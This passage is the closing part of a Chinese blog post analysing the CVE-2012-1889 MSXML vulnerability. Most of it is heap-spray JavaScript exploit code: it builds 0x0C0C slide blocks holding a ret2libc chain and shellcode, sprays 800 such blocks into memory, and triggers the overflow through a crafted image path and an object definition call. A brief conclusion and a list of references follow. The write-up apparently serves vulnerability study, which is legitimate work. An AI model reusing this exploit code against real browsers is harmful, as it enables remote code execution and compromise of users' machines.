var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)

var nPadSize = cPadding.length; // Padding大小

var nR2LSize = cRet2Libc.length; // Ret2Libc大小

var nPySize = cPayload.length; // Shellcode大小

var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;

// 4.2 制作好一块填充数据

var cFillData = unescape("\u0C0C\u0C0C");

while (cFillData.length <nSlideSize)

cFillData += cFillData;

cFillData = cFillData.substring(0,nFillSize);

//5. 构建滑板指令数据块

var nBlockSize = 0x40000; // 256KB

var cBlock = cPadding + cRet2Libc + cPayload +cFillData;

while (cBlock.length < nBlockSize)

cBlock += cBlock;

cBlock = cBlock.substring(2,nBlockSize-0x20); // 0x809

// 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C

// 区域,每块滑板数据均由滑板数据+Shellcode 组成,这样只要任意一块滑板数据

// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区

// 后面的Shellcode处,进而执行Shellcode。

var cSlideData = new Array();

for (var i = 0; i < 800; i++)

cSlideData[i] = cBlock.substr(0,cBlock.length);

// 7. 触发CVE 2012-1889漏洞

// 7.1 获取名为cxk的XML对象,并将其保存到名为objcxk实例中

var objcxk =document.getElementById('cxk').object;

// 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据

var srcImgPath =unescape("\u0C0C\u0C08");

while (srcImgPath.length < 0x1000)

srcImgPath += srcImgPath;

srcImgPath = "\\\\15PB_Com" +srcImgPath;

srcImgPath = srcImgPath.substr(0,0x1000-10);

// 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

var emtPic =document.createElement("img");

emtPic.src = srcImgPath;

emtPic.nameProp;

// 7.4 定义对象objcxk(触发溢出)

objcxk.definition(0);

</script>

</body>

</html>

5.结语

漏洞分析很有趣,牵涉面广,需要耐心和热情才能走的下去。多参考技术文档,总结前人经验吧。

6.参考资料

[1] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)

[2] 32位下的堆喷射技术

[3] Heap Spray原理浅析

[4] DEP(数据执行保护)介绍

[5] 堆喷射技术解密

[6] HeapSpray学习 多用于网页溢出

[7]CVE-2012-1889漏洞分析报告

[8] 基址重定位与ASLR

[9] CVE-2012-1889 Win7 通过GUID加载dll库绕过ASLR+DEP

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值